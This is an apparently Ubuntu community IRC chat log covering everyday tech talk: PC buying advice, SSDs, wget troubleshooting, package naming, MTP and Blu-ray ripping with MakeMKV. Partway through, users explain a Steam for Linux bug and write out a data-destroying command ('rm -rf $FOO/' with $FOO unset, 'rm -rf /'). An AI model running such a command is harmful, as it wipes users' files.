<sebsebseb> popey: altough one that seems to give a half used toilet role hmm,  and a new one
<popey> delightful
<sebsebseb> might change hotel this year though if I have proper reason
<sebsebseb> ,but otherwise there again
<sebsebseb> since some from my project should be staying thre again
<sebsebseb> can still cancel
<sebsebseb> for now
<sebsebseb> popey: yeah I complaind about that like lats yaer or the year before at reception, and it's like, oh I'll pas on the message
<sebsebseb> did they? no probably not
<sebsebseb> popey: I   guess some hotels don't really care much about the room etc
<sebsebseb> where are you intending on staying?
 * sebsebseb already paid a load on flights and insurances with that,  so  may as well have a cheap hotel agian then,  not going to be there that much anyway
<popey> sebsebseb: scandic
<sebsebseb> oh Scandic I think that's one I stayed in in  Denmark years ago
<sebsebseb> when we we  went by car al the way to SWeden  from  Engalnd yeah
<sebsebseb> popey: I think most people go for somethig more centrla yeah
<sebsebseb> who com to FOSDEM
<sebsebseb> maybe I should start doing the same, if the trams are oging to be a pain each time uh.   it changed last year, from the year before.  so that really was  something  trying to get to FOSDEM and back
<JamesTait> Good morning all; happy Friday, and happy International Hot and Spicy Foods Day! :-D
 * zmoylan-pi celebrates the diversity of international hot and spicy foods day with coffee and toast :-)
 * sebsebseb celebrates, uhmm nothing :d
<bigcalm> Good morning peeps :)
<brobostigon> morning boys and girls.
 * davmor2 throws JamesTait into the curry pot and cranks the heat up, there you go good sir hot and spicy
 * JamesTait just thanks davmor2 for already having reported the bug with repeating alarms.
<davmor2> it's fixed in latest
<davmor2> JamesTait: and I thought it was jibel that reported it I just confirmed and added details :)
<JamesTait> davmor2, possibly. Either way, you beat me to it!
<davmor2> JamesTait: technically that is our job ;)
<JamesTait> davmor2, and a valuable one it is, too.
<davmor2> JamesTait: we like to think so :)
<awilkins> re: Dualit toaster (from yesterday)
<awilkins> +1 on them being the best toasters
<awilkins> When I was a junior doc, those toasters were the major source of comfort and sustenance
<awilkins> They are an absolute toast juggernaut. Regardless of how you felt, how many hours you'd pulled, they produce evenly done, consistently brown, perfect toast, day in, day out, for a small army of medical staff, with no complaints.
<awilkins> The only downside was they got used so much that you had to clean the crumb tray out quite often
<awilkins> Dualit Toasters : The toaster keeping the NHS alive.
<ThomasRedstone> Morning all!
<ThomasRedstone> Nice when you can start your day by watching Question Time... :-) that is one funny show!
<awilkins> Sure you don't mean QI  ?   ;-)
<brobostigon> or HIGNFY :)
<popey> awilkins: I love the phrase "toast juggernaut"
<popey> awilkins: didn't know you were/are a doctor.
<awilkins> popey, A long time ago now... but I still do healthcare IT stuff, as I have for most of my working life
<DJones> Who better than a doctor to deal with software bugs
<davmor2> DJones: you mean to work with anitviruses right :)
<DJones> That'd work I guess :)
<Myrtti_> soldering irons are great
<Myrtti_> https://www.flickr.com/gp/myrtti/HC02qs
<Myrtti> oof. https://github.com/ValveSoftware/steam-for-linux/issues/3671
<MartijnVdS> the rm -rf one?
<Myrtti> yeah.
<MartijnVdS> Given the attention, I'm sure they'll fix it soon
<Myrtti> Tesco sells these lovely whole grain Kellogs raspberry poptarts imported from Italy. 100% recommend.
<Myrtti> http://www.tesco.com/groceries/product/details/?id=284196056
<ThomasRedstone> awilkins, nope, question time, the arguments are very funny sometimes :-) and it's even funnier, because these are respected (to a degree) academics, (not so respected) members of parliament, and other people, not just a load of comedians :-P
<popey> i had to switch of question time last night and go to bed
<popey> I was just getting cross with them all
<popey> http://blog.monumentvalleygame.com/blog/2015/1/15/monument-valley-in-numbers is fascinating
<popey> aquarius: ^ you seen that?
<aquarius> I have indeed
<knightwise> afternoon peeps
 * knightwise just went to a meeting with a man that looked like the director of Jurassic Park.
<daftykins> the late Richard Attenborough?
<knightwise> Correct
<knightwise> When he was comparing his company to this big place with all these little sub companies .. i was DYING to say : "kinda like jurassic park"  ?
<knightwise> with the big park and the little pens for the dinosaurs ? :)
<daftykins> did you don a girls wig and proclaim "i know this, this is unix!"
<ThomasRedstone> lol
<knightwise> LOL :) I would look hot with a ponytail
<knightwise> Ariana Richards ... She has aged quite well.
<MartijnVdS> knightwise: it's a unix system. She knows that.
<ThomasRedstone> that Steam bug is dreadful :-| I have steam on my computer... I think I'll avoid launching it for now...
<knightwise> ThomasRedstone: nownow .. lets not panic.
<daftykins> or run it as another user :>
<knightwise> whats the chance that code will get exexuted ?
<ThomasRedstone> it's just me and root here...
<knightwise> same for my system.
<ThomasRedstone> and he's not a proper user, nah, if I felt safe uninstalling it, I would, but without reviewing their code, I don't think I do!
<MooDoo> it's ok as long as you installed in a seperate folder and not /home or /
<MooDoo> or i might have totally missread the post :D
<knightwise> but whats the command rm -rf /
<knightwise> or rm -rf
<popey> yes
<popey> rm -rf $FOO/
<popey> with $FOO unset
<knightwise> crickey
<popey> indeed
<knightwise> why put that in the the first place
<daftykins> must've been the interns job
<popey> because there's a button in steam to remove apps
 * knightwise annoyed at police helicopters flying around
<popey> it just isn't sanity checked properly
<daftykins> knightwise: they're onto you
<knightwise> daftykins: I would not be surprised :p
 * knightwise burns his torrents
<knightwise> nah , big court case in town today
<daftykins> ooh?
<knightwise> we have the district courthouse in this town
<knightwise> always some sensational murder trial on..
<daftykins> oh dear
<knightwise> this week its a "hells angels shooting showdown" murder-mistery
<knightwise> Leather clad nose pierced agatha fletcher buzzing about
<daftykins> i imagined a biker agatha christie just then, which had me think of Miss Marple in a biker gang
<knightwise> with her little white nail-studded purse blowing in the wind as she races along.
 * knightwise 's mind is always full of this kind of strange imagerie
<aquarius> popey, the most interesting point about that numbers thing was summarised excellently in a tweet I saw, which said "see, it is possible to make money from ios development! you just need to spend over 12 months and nearly a million dollars developing one of the best games of the year, and then you'll make money!"
<popey> yeah!
<aquarius> popey, you ever heard of http://www.prestigio.com/catalogue/MultiPhones/MultiPhone_3502_DUO ?
<popey> no
<aquarius> nor me
<aquarius> or the company!
<Myrtti> I caved in and bought a new battery for my old Galaxy Nexus which I keep my Finnish SIM card in
<daftykins> huzzah
<daftykins> i'm sure you know, but full charges whilst switched off give them the prod they need to function properly again
<knightwise> is it possible to play the audio of a command line app over ssh ?
<popey> aplay
<Myrtti> daftykins: it wouldn't turn on or charge the old battery at all after running out of battery and being dropped behind the nightstand where I forgot it to for three weeks...
<Myrtti> "oops"
<aquarius> knightwise, do you mean: sat in front of machine A, ssh into machine B and play sound out of B's speakers, or do you mean to ssh from machine A to machine B and play sound out of A#s speakers?
<popey> roflcopter
<aquarius> knightwise, that is: do you want to send audio back along the connection, like you can with X forwarding?
<aquarius> knightwise, if you do, then pulseaudio can do that; see http://askubuntu.com/questions/371687/how-to-carry-audio-over-ssh
<daftykins> Myrtti: i mean after putting the new battery in :)
<Myrtti> well, the old battery was bad enough anyway, so no harm done.
<aquarius> Right, question for you all. My dad's thinking about getting a new computer. It will run Ubuntu 14.04. He doesn't need anything super-powerful; he wants a desktop machine. I've had quite a lot of luck in the past with him and "self-contained" machines -- the Aspire Revo, that sort of thing, for cost reasons; that sort of machine normally shakes out at under Â£200. He's already got monitor, keyboard, etc. He uses Fla
<aquarius> sh stuff, so x86 rather than ARM, please. Any suggestions?
<daftykins> what i'm getting at is a friend got a new battery for a samsung he has, but it was still acting like the battery was as dead as the old one - no matter how long he left it on charge. i said i'd take a look, ran it flat then charged whilst off (which he didn't do) and then it was back to lasting for days instead of 30 mins \o/
<knightwise> aquarius: audio file + app is on machine A . i'm SSh'd in from machine B but would like to listen to the file
<aquarius> knightwise, right, then try detecting pulseaudio across the ssh connection as per askubuntu article above
<knightwise> ok
<MartijnVdS> aquarius: is an Intel NUC an option?
<MartijnVdS> the low-end ones are quite reasonably priced, and run Ubuntu well
<knightwise> thanx aquarius
<aquarius> MartijnVdS, dunno, is it? You tell me :) What's good and bad about them? All I know of them is people like Dustin using ten of them in a box to set up a juju thing
<MartijnVdS> aquarius: they're tiny, some are fanless (and even those with fans are quiet); they're all-Intel so everything is supported out of the box
<MartijnVdS> aquarius: and they're available from Celeron to i5
<MartijnVdS> you can put in some RAM, an SSD (mSATA) and wifi card (mini-pci-e) and you're done
<daftykins> you won't get a NUC for that money
<willcooke> aquarius, cheap laptop?
<aquarius> willcooke, nah, he doesn't want a laptop -- and he's happy with the monitor etc he's got
<willcooke> whats wrong with the revo?  Did it give up?
<aquarius> doen't need any portability -- they have a separate machine for the living room TV, and he's got the tablet
<daftykins> one does not simply intel atom
<daftykins> :>
<MartijnVdS> daftykins: tjere
<MartijnVdS> blah
<daftykins> who put that j there :O
<MartijnVdS> daftykins: there's an atom nuc with 4GB built-in emmc (no ssd needed)
<aquarius> willcooke, yeah... it's started to occasionally throw a seven, and it's aging a bit, so I suggested a new machine -- the one he has is about 4 years old as it is
<MartijnVdS> it's slow, but it works.. and once everything is in RAM.
<aquarius> ah, he needs more storage than that; photos and whatnot.
<willcooke> aquarius, http://www.ebuyer.com/662872-acer-aspire-xc-115-desktop-pc-dt-svtek-003
<aquarius> haha, yu google for "intel nuc ubuntu uk" and you get the Orange Box, which is not quite what I'm looking for ;)
<daftykins> MartijnVdS: eww
<aquarius> willcooke, yeah, that's the sort of thing I'm imagining, indeed
<willcooke> aquarius, oh - no wifi, but fixable for a couple of quid
<MartijnVdS> I have a spare mini-pci-e wifi card if necessary 8-)
<aquarius> is ok wired; it's right next to the router
<willcooke> perfect
<MartijnVdS> Ordered two for $5 on ebay
<aquarius> although having wifi in it is handy for fallbacks :)
<willcooke> because as we all know, wifi sucks.
<willcooke> YES it does
<popey> hmm
<willcooke> shut up you
<popey> i might follow this and get my mum a new pc
<popey> :)
<MartijnVdS> :)
<willcooke> aquarius, might be worth considering a Dell if you want some kind of warranty: http://www.dell.com/uk/p/inspiron-3847-desktop/pd?oc=cd84701&model_id=inspiron-3847-desktop
<willcooke> (better than the standard return to base you'll get with ebuyer)
<willcooke> ((but at that price, probably not worth it))
<popey> aquarius: http://www.ebuyer.com/447255-intel-next-unit-of-computing-kit-dccp847dye-c847-1-1-ghz-barebone-boxdccp847dye
<aquarius> bit too big, that one, ideally
<aquarius> the revo is nice for size as well -- don't really want a tower if it can be avoided, even a little one
<willcooke> I reckon that NUC is probably a good bet then
<popey> i think you can get revo-like ones
<willcooke> oh, except you've got to put ram in it
<popey> http://www.ebuyer.com/store/Computer/cat/Nettop
<popey> yeah, they're barebones
<aquarius> nuc is interesting, but I think it might be a bit expensive once I've added both ram and disk, no?
<popey> the asus ones come with everything
<popey> yes aquarius
<popey> check out that nettop link
<popey> some non-nuc nuc-like things with cpu/ram/storage included
<popey> mac mini :)
<willcooke> Mac mini, 638 quid. lulz
<popey> I hear good things about the Gigabyte brix
<willcooke> +1
<popey> they're all a bit low spec, pentium d, celery
<Myrtti> Dell's can be bought as factory refurbs with some discounts...
<Myrtti> they're loverly
<aquarius> the nettops are all over 200 quid, it seems, and that's not including ram etc...
<aquarius> unless I'm missing one with ram and disk in
<aquarius> these brix? http://www.ambros.co.uk/buildlist/285/gigabyte-brix-mini-fully-assembled-pc-systems.html
<davmor2> aquarius: just buy a cheap desktop http://microdream.co.uk/complete-set-of-cheap-dell-windows-xp-desktop-pc-computer-80gb-dvd-refurbished.html?gclid=CPO_uNXXmMMCFcPKtAodrC8AHw#.VLka5t-cfCI
<Myrtti> this reminds me that should probably update my sisters desktop at sometime
<aquarius> davmor2, too big in size..
<popey> yes
<aquarius> wow, they're really small!
<aquarius> nice
<davmor2> aquarius: that takes you back to the nuc then, our job is done ;)
<Laney> found a bag of posh christmas chocolates I forgot to give \o/
 * Laney scoffs
<aquarius> http://www.ambros.co.uk/builds/1865/gigabyte-gb-bxbt-2807-celeron-fanless-pc-system.html is interesting, and under Â£200. 2GB RAM is a bit miserly, mind; I'd wanna jack that up
<popey> you can of course take the hard disk out of the revo and put it in that
<aquarius> do we think an SSD is de rigeur in this day and age?
<daftykins> yes
<popey> i would. spinning rust is for the past
<daftykins> you can't go back once you've used one
<daftykins> that said, OS on SSD, storage on mechanical
<aquarius> they're bleedin' expensive for lots of storage, though.
<popey> define $lots
<daftykins> not as bad as they once were
<daftykins> i picked up 512GB for Â£130 a bit ago
<popey> 240GB SSD is big enough for anyone
<popey> </paraphrase>
<aquarius> ooh, actually, fifty quid for 240GB, that's not bad.
<MartijnVdS> wow.. prices are that low these days?
<aquarius> so, a nuc or a gigabyte brix. Those seem good choices.
<aquarius> Is there anyone we trust selling these things with Ubuntu on? I like supporting such vendors when I can
<awilkins> They're getting better
<popey> dont think so
<popey> most people dont pre-install on Nuc
<awilkins> I have an mSATA one on bcache though
<popey> goes against the whole point really
<MartijnVdS> msata <3
<popey> \o/ msata
<awilkins> 32GB SSD and 750GB of spinny rust
<awilkins> Seamless
<daftykins> mSATA is ghetto, it's all about M.2 now \o/
<awilkins> Don't have to worry about partitioning etc
<awilkins> It works out where all the bits should go to make stuff fast
<knightwise> peeps :)
<daftykins> i didn't even see you leave!
<knightwise> quick reboot
<knightwise> somebody have a minute to test my mumble server ?
<popey> sure
<knightwise> popey: see pm
<popey> yay, it works
<popey> although you clearly can't hear me
<knightwise> yep , but i'm not getting any audio in this linux instance
<knightwise> also took a look at the network load of the pie with nmon while you dropped in
<knightwise> seems to deal with it pretty good
<popey>  2061 root      20   0  632368 227172 150604 S  81.9  1.4   1381:55 Xorg
<popey> hmmm
<knightwise> ??
<MartijnVdS> leaky again?
<ali1234> lol
<ali1234> 19222 al        20   0 19.146g 9.908g   5512 S  10.3 63.2 299:00.22 mousepad
<MartijnVdS> mousepad?
<ali1234> xubuntu default text editor
<MartijnVdS> why so huge
<ali1234> it's like gedit before they ruined it
<ali1234> dunno
<MartijnVdS> is it gvim yet? :P
<ali1234> what is gvim?
<knightwise> vim in speedo's
<popey> well, i also have firefox eating 90%
<ali1234> vim is stupid
<popey> heresy!
<knightwise> vim isnt an editor .. its a puzzle
<popey> burn the heretic!
<ali1234> at this point people who use vim are like hipsters who still listen to cassette tapes
<ali1234> just stop, nobody is impressed
<knightwise> watch out , here is the editor police ... (turns out the sirens : nano nano nano nano )
<popey> :)
 * popey uses nano mostly
<diddledan> I like vim but don't really understand it
 * knightwise is so into nano he uses CTRL-X to close the door in the house
<knightwise> *badabing$
<diddledan> nano annoys me when I get used to using ctrl+w for find
<diddledan> i.e. when I'm NOT using nano
<diddledan> ctrl+w - hmm where'd my window go?
<knightwise> Sliders-problems :)
<davmor2> aquarius: http://www.dabs.com/category/computing,desktops-and-monitors,desktop-pcs/11101-459690000
<knightwise> like me trying to copy and paste with ALT because I have the super key on the mac
<diddledan> I'd like to bind copy and paste to cmd+c too
<daftykins> diddledan: morning sir
<diddledan> allo
<diddledan> http://www.youtube.com/watch?v=0zYYCCsSjkw
<daftykins> diddledan: :D my mate is always suggesting i check out this Brooker stuff
<daftykins> lucky blighter married to Konnie Huq
<diddledan> oh wow, that's a name I've not heard in ages
<diddledan> http://astronomynow.com/2015/01/16/uk-mars-lander-beagle-2-found/
<daftykins> ooh
<shauno> with that name, I still picture someone in knee-high wellies and a flat-cap wandering around mars whistling and calling "heeeeeeear boy"
<daftykins> :D
<daftykins> we had a beagle
<daftykins> he was nicknamed Houdini as he loved to sneak off the property and go and get attention from states house kids up the road
<diddledan> and then we have: http://www.theverge.com/2015/1/16/7555633/falcon-9-barge-landing-images-released
<shauno> we had a basset.  I can't describe his hobbies in a 'family-friendly' atmosphere.
<diddledan> shauno, randy?
<shauno> and then some
<daftykins> neat!
<daftykins> to the falcon i mean, not your randy basset
<shauno> pfft.  I've done that in KSP!
<shauno> (where we term that particular manoeuvre 'lithobraking' ;)
<diddledan> shauno, https://www.youtube.com/watch?v=i8atKXFZefA#t=19
<daftykins> judging by the pics, any kind of braking at all would've been ace
<shauno> where aerobraking is slowing by hitting the atmosphere, lithobraking is slowing by hitting the floor :)
<diddledan> lol
<daftykins> XD
<daftykins> Jeb would not be pleased
<diddledan> more space news: http://www.virgin.com/richard-branson/creating-the-worlds-largest-ever-satellite-constellation-0
<shauno> I think 'project west ford' takes the title of the largest constellation ;)
<shauno> (1960's americans were crazy.  the UK's first satellite was destroyed by a US high-altitude nuke test)
<diddledan> and we stayed being friends after that?!
<shauno> no kidding
<daftykins> you'd think they'd have perhaps phoned up and asked what it was first
<shauno> if wikipedia's anywhere near accurate, they took out 1/3rd of low-earth-orbit
<diddledan> impressive
<shauno> http://en.wikipedia.org/wiki/Starfish_Prime#Aftereffects  makes it sound like they had little idea what it'd actually do
<shauno> (sorry, bored :)
<daftykins> from what i recall hearing once, scientists thought a nuke in the atmosphere might ignite the atmosphere and destroy the world :>
<shauno> well, there's only one way to find out!
<daftykins> XD
<diddledan> thanks to the americans we know it doesn't
<daftykins> i'm getting tempted by nipping down to a Costa branch for a panini and coffee...
<diddledan> I'm glad we took the risk to find out
<daftykins> given it's about 30m from my front door
<shauno> and to think, they were worried that we were going to accidentally create a black hole under switzerland
<diddledan> worth the risk
<diddledan> who cares if the planet disappears?!
<daftykins> maybe we were never here to begin with! :D
<diddledan> oooh
<diddledan> are you in my dream, or am I in yours, or are we in someone else's?
<daftykins> haha
<ThomasRedstone> No more Vim heresy! it broke my internet tubes! :-(
<shauno> one typically doesn't vim their tubes?
<ThomasRedstone> no, but Vim is essential to the very fabric of the universe...
<shauno> so are tubes.  this is why they should never meet.
<ThomasRedstone> Oh wait, that's emacs: http://xkcd.com/378/
<shauno> emacs doesn't actually exist, it's just an elaborate prank
<diddledan> lol
<popey> \o/ Pre-ordered GTA5
<popey> Squeeee
<awilkins> GTAV .. for Linux?
<popey> for "PC"
<daftykins> hehe
<daftykins> i remember first getting it and teasing mr.popey
<daftykins> all that time ago
<daftykins> quite a shame i didn't wait for the newer consoles really
<bigcalm> Is is home time yet?
<bigcalm> Actually at the office means I get to go home a some point, doesn't it?
<bigcalm> !ping
<lubotu3> pong!
<bigcalm> The office connection is somewhat pants
<davmor2> bigcalm: haha
<daftykins> i had this IT support job at one point where the boss said "don't download on our leased line, download large files on the ADSL service in the break room instead"
<daftykins> and this lovely nugget "instead of using RDP, go into the server room more"
<daftykins> all a bunch of rubbish to make it look like we did more, is all i can think
<jpds_> daftykins: "Instead of using SSH, go to the server room and use a TTY".
<daftykins> ;) no it was a Windows admin job :P
<bigcalm> http://www.speedtest.net/result/4064501002.png
<daftykins> oh wow
<daftykins> "eclipse internet - because our service got eclipsed years ago"
<diddledan> wow that's slow
<davmor2> bigcalm: HAHA!!
<bigcalm> Friday afternoon
<bigcalm> That's ADSL
<bigcalm> We're waiting for our FTTC connection to be installed
<popey> could do with some help here, if I have missed any? https://pad.riseup.net/p/LinuxPublications
<NET||abuse> hey guys. having a pain here, have local rendering of awstats output, years worth of montly ftp stats, trying to wget -r -p http://localhost:8080   and it just doesn't bother downloading any images.
<diddledan> NET||abuse, are the images included as <img> tags in any html pages?
<NET||abuse> yes
<NET||abuse> for eg...  <img align="bottom" src="http://localhost:8080/icon/other/vk.png" width=6  etc...>
<NET||abuse> the idea is i'm trying to tar this up to email to a non-technical guy for his use.
<diddledan> so as it's local, why not just tar up the dir?
<NET||abuse> because all the links int he html are /icons/other/vk.png   blah blah    , so 1. would go looking on the root of my fs and    2. wont work on windows
<diddledan> you'll need to run it on a webserver anyway if you're rewriting the urls to http://localhost:8080
<NET||abuse> wget --k/--convert-links   states it should deal with converting the links.
<diddledan> you didn't say you were using that option :-p
<davmor2> bigcalm: My Speed :: 91.7 Mbps  My Speed :: 5.7 Mbps
<NET||abuse> ahh, i added it since i was saying earlier, hasn't worked.
<awilkins> 18Mbit/s
<awilkins> 10% slower! Wooo!
<bigcalm> davmor2: indeed, leaving the home isn't worth it
<NET||abuse> really confused as to why wget just isn't getting these images
<intrbiz> bigcalm: when does the FTTC line get put in?
<davmor2> intrbiz: a skip by the sound of it :)
<intrbiz> davmor2: ?
<davmor2> intrbiz: I read it as what not when sorry :)
<intrbiz> I'm still waiting for BT to get off their arse and FTTC enable our exchange, was meant to be complete by now, no evidence they've started
<intrbiz> ah, the date seem to have been pushed back till march, sigh
<NET||abuse> i've tried every switch i can find in the man pages, wget just wont download the images
<bigcalm> intrbiz: no idea when it's happening. Somebody needs to get in touch with the ISP
<intrbiz> bigcalm: when was the ADSL put in?
<intrbiz> bigcalm: it'll train for the first few days so can fluctuate
<intrbiz> bigcalm: might also be worth looking at the internal wiring if the sync rate is really that bad
<diddledan> this page is evil to grok: https://wiki.ubuntu.com/AppStore/Interfaces/ApplicationId
<diddledan> I can't make heads nor tails of it
<aquarius_> diddledan, it is
<diddledan> what's with that table in the middle?!
<diddledan> why can't you just specify one thing for the different parts to match against instead of many?
<diddledan> who cares where each comes from - it's the final result you worry about
<aquarius_> diddledan, that page pretends that it's appdev documentation, but it isn't; it's reference docs for the people making the OS themselves.
<diddledan> oh
<aquarius_> You don't have to think about an appid ever, unless you're doing push notifications.
<diddledan> well that's silly
<diddledan> it really doesn't explain what jamie was meaning in the mailing list tho
<diddledan> if anything it confuses the division between package and application name more
<aquarius_> oh? I don't read the list; what was jamie saying?
<diddledan> this is the beginning of the thread: https://lists.launchpad.net/ubuntu-phone/msg10900.html
<aquarius_> wtf?
<aquarius_> it's all changing?
<diddledan> it seems the specific email that linked to that page hasn't been archived yet
<aquarius_> hm.
<aquarius_> Still, I've got sil in Launchpad, so I'll have it in the store.
<aquarius_> But I think this is a crap idea. :)
<diddledan> it was basically in response to https://lists.launchpad.net/ubuntu-phone/msg10907.html saying that jamie doesn't understand the difference between the two, and explains that he thinks of them as per the applicationid page
<popey> I don't quite understand why we have to do this either.
<diddledan> popey, it makes no sense to change IMO
<popey> well, there's some sense
<diddledan> popey, there's absolutely nothing wrong with backwards-domain style naming
<popey> say that in #snappy :)
<diddledan> would I get my head bitten?
<popey> mebbe
 * popey goes to make food
<popey> ttfn
<diddledan> me too. or rather, chocolate
<diddledan> and instead of "make" more like "buy"
 * diddledan enjoys having a news agent within 30seconds' walk
<aquarius_> so snappy packages are the same?
<aquarius_> I can go and register "elasticsearch" as my snappy name and get in before the elasticsearch people?
<diddledan> aquarius_, yeah it seems that way
<aquarius_> oh well. Mine is not to reason why, etc.
<diddledan> I don't get the proposed solution being any better - instead of com.domain.package they want package.developer
<aquarius_> indeed.
<diddledan> there's no real difference I can discern between the two other than ordering
<aquarius_> So now my stuff will be readability.sil instead of org.kryogenix.readability.
<awilkins> package.developer would be annoying
<awilkins> developer.package makes more sense
<diddledan> yeah
<aquarius_> It's fractionally more useful, because to find the "readability" package I type "readability" and hit tab
<aquarius_> rather than finding the "readability" package by typing "org.kryogenix.reada" and hitting tab.
<aquarius_> that is: one no longer has to know the name of the developer to find a package by name -- imagine if, say, to install inkscape you had to do "apt-get install ted-gould-inkscape". That'd be way annoying.
<diddledan> well you wouldn't tabcomplete for discovering a package, though, you'd use a search function in the installer CLI
<diddledan> e.g. click search package
<diddledan> that could show you all the names and you then choose one and tabcomplete that
<aquarius_> diddledan, if you're not typing package names in then it doesn't matter to you *what* a package name looks like. It could be 5e039421-51ea-417e-8a3c-82f00994fc68-riddling for all you care.
<aquarius_> but for people who *are* typing in package names, that's really annoying.
<aquarius_> just wasted a uuid there. :)
<diddledan> omg, wasting uuids is a heinous offence
<zmoylan-pi> well if it's an ms api generating the uuid it might reuse the uuid for you.  they can be fun like that :-)
<awilkins> With MS it's a GUID though
<awilkins> Hmm, the uuid command exposes your MAC by default
<aquarius_> depends which uuid you pick.
<aquarius_> the above one is a uuid4 :)
<aquarius_> cat  /proc/sys/kernel/random/uuid # :-)
<diddledan> so what's the diff between uuids generated by the kernel and those generated by uuidgen?
<awilkins> Not sure there is a functional difference
<awilkins> They are a v4 uuid
<awilkins> Seen v3 ones used a lot in systems that wants reproducible content-addressible identifiers
<intrbiz> v4 uuids should be random, v1 mac + time based
<diddledan> time to settle down for an evening watching stream of a hacker conference
<diddledan> (shmoocon)
<daftykins> diddledan: o rly
<diddledan> lol @ opening image: https://mrkr.io/453o9m8pCv
<diddledan> yes that is ZORK 1 in the bottom
<DJones> So thats why shmoo & soapturtles minecraft server lags occasionally
<DJones> ooh, Brian Blessed alert on Film4 - Flash Gordon
<zmoylan-pi> great great movie.  awesome over acting and queen soundtrack...
<diddledan> :-o
<diddledan> that is one of the best films ever
<daftykins> https://www.dropbox.com/s/u0cpypcqp18cwgg/mmkv.png?dl=0
<daftykins> *whistle*
<ali1234> what is that android usb file transfer protocol called?
<ali1234> the one that isn't USB storage
<ali1234> it's like MFP or something
<aquarius_> mtp
<ali1234> thanks
<daftykins> i once heard it comes from microsoft's plays for sure tech
<aquarius_> no. mtp got invented because of the problems around having separate SD cards.
<ali1234> yeah USB storage is a block device
<ali1234> so you can't access the same filesystem over USB storage and also locally on the phone
<ali1234> cos the twwo sides would get out of sync
<aquarius_> *nod* which causes massive problems, so you need the phone and the external thing to access at the same time, hence mtp.
<ali1234> MTP operates at higher level using filenames, so it's more like http or something
<daftykins> thing is it only seems relevant to phones with only the one volume of storage
<ali1234> well yeah
<ali1234> it's not for USB hard drives
<daftykins> shame it's become the norm for even devices with microSD access, since it seems so slow and pants
<ali1234> it's for phones, cameras, and mp3 players
<aquarius_> true, but phones with two volumes became increasingly problematic
<aquarius_> which is why manufacturers have largely stopped doing them.
<daftykins> *nod*
<ali1234> nah, that's a red herring
<daftykins> seems there's lots of issues with up to date ubuntu systems mounting every smartphone you throw at them?
<ali1234> all phones have several partitions
<aquarius_> they're not removeable, though.
<ali1234> yeah, being removable is irrelevant
<ali1234> it's simply confusing for the user that they can't access their files on the phone and on computer at the same time
<aquarius_> putting apps on removeable partitions means the OS has to work a lot harder to deal with apps because it might have a bunch of symlinks pointing at stuff that isn't there, and ou can't cache anything.
<ali1234> there are still plenty of phones with SD card storage
<aquarius_> there are, yep. But they've either also got quite a lot of *internal* storage too (in which case the extra SD stuff is largely, although not completely, not needed), or they have not much internal storage in which case you can have the stupid spectacle of your phone refusing to install apps because it has no space, despite containing an empty 16 gigabytes of micro SD, which is what all the early Android phones ha
<aquarius_> d and everybody hated it
<daftykins> any thoughts on a bluray drive reading a disc at 2x when the drive allegedly does 4x guys? it's not changing from dat at the start vs. the end, so i don't think it's simply a position issue. just read about "hdparm -E 4 /dev/sr0" or "eject -x 4" but i don't think that's working
<popey> bluray passed me by
<daftykins> :) i got that Sopranos set for Christmas, so have been playing with playback and ripping on Linux
<ali1234> dat?
<aquarius_> me too
<diddledan> bluray is a bad name for someone who hasn't heard it said out loud before
<diddledan> "what do you mean it's blurray?"
<aquarius_> er, me too on passing bluray by, not on getting a Sopranos set :)
<zmoylan-pi> hey, i have trouble spelling dvd :-)
<daftykins> lol.
<daftykins> ali1234: dat?
<ali1234> dat? dat dat?
<daftykins> oh yeah
<daftykins> *re-reads*
<ali1234> http://en.wikipedia.org/wiki/Digital_Audio_Tape
<daftykins> i wonder what dafty was on about just then
<zmoylan-pi> dat was beginning of the end for sony
<diddledan> daftykins, it's encrypted
<ali1234> how do you know what speed it is reading at?
<daftykins> no idea how i typed that, i meant it didn't change from 2x at all across the entire span of the disc
<daftykins> no, makemkv replaced libaacs and libbd and so it's decrypting *whistle*
<diddledan> daftykins, probably find that makemkv is reporting the raw data rate of the video copied after decryption rather than raw data rate of the transfer off disc
<daftykins> as per - https://www.dropbox.com/s/u0cpypcqp18cwgg/mmkv.png?dl=0
<daftykins> ah you may well be onto something there, yes
<ali1234> what am i looking at?
<daftykins> just saying that i'm ripping and not got an issue with encryption
<ali1234> yeah ut where are you reading the speed?
<daftykins> https://www.dropbox.com/s/kx1umwhlxs7p0ey/mmkv2.JPG?dl=0
<diddledan> I don't get this concept that makemkv is "in beta" when it's been that way for years
<daftykins> :D
<diddledan> it's clearly working for most things so why the beta status?
<daftykins> but it's good, keeps it free ;)
<diddledan> true
<zmoylan-pi> see gmail :-)
<diddledan> every 30 days, just download the new version
<daftykins> well at any moment there is the issue that a company could release titles with new keys that'd render the program useless until it's updated
<ali1234> it would still be able to rip all old discs
<diddledan> to be fair it's a pretty impressive piece of engineering to be able to strip aacs to begin with but even bd+ is rippable
<ali1234> have you tried eject -x 0?
<daftykins> i have not
<daftykins> do you think those two commands are meant to work mid process, or should i stop and then retry?
<ali1234> they should work mid process because they are at the drive level
<daftykins> no change from eject -x 0
<ali1234> it's probably showing the video rate then as diddledan said
<ali1234> or the drive straight up isn't 4x
<ali1234> also possible that the disc is marked as 2x only
<ali1234> although i would expect that only on writable media, i guess it's possible they can set it in pressed media too
<ali1234> you generally don't want the player spinning up to max speed when watching a film cos they get really loud
<daftykins> yeah, i didn't expect anything on the system to act like a player though, if you get me
<daftykins> http://www.sony-optiarc.us/endoflifeproducts/bluraydrives/slim/bluraycombo/bc5500as.html
<daftykins> certainly claims 4x for dual layer data, but ho-hum :) it is pretty ancient
<daftykins> thanks for your input anyways :) much appreciated
<ali1234> sure. but certainly for writable blu-ray media, the drive can read what speed the disc is rated for
<daftykins> there's a chap playing with x265 in another channel, be neat to transcode to half the bitrate of x264 :)
<daftykins> not that anything i own would play it :D
<daftykins> *presently own
<ali1234> i would like to see some graphics card deliver the kind of motion compesation you get in high end TVs these days
<ali1234> and HFR without the stupid 3D stuff
<diddledan> 265?!
<diddledan> there's the so-called advanced video codec iirc?
<diddledan> sorta 264 on steroids but still 264 I think I recall?
<diddledan> or rahter still mpeg4
<daftykins> nah, it's HUVC and became H.265
<diddledan> aah
<diddledan> that makes sense
<diddledan> does anyone use divx anymore?
<diddledan> that used to be the go-to for download video (not necessarily legal video)
<daftykins> lol, XviD had replaced it for ages before that ship sailed
<diddledan> they're still making new versions
<diddledan> xvid is the old opensource divx codec but divx have superseded it
<daftykins> :S
<daftykins> seems a bit pointless now, even standard def content comes in H.264 or variants thereof
<daftykins> oy vey, i've now lost complete track of where i am in watching this series
<daftykins> it seems like the actual blurays are wrong O_O
<diddledan> sometimes the boxsets of series follow the non-chronological schedule of american air-date - i.e. the series is aired in america in the wrong order and they use that as the sequence for the disc
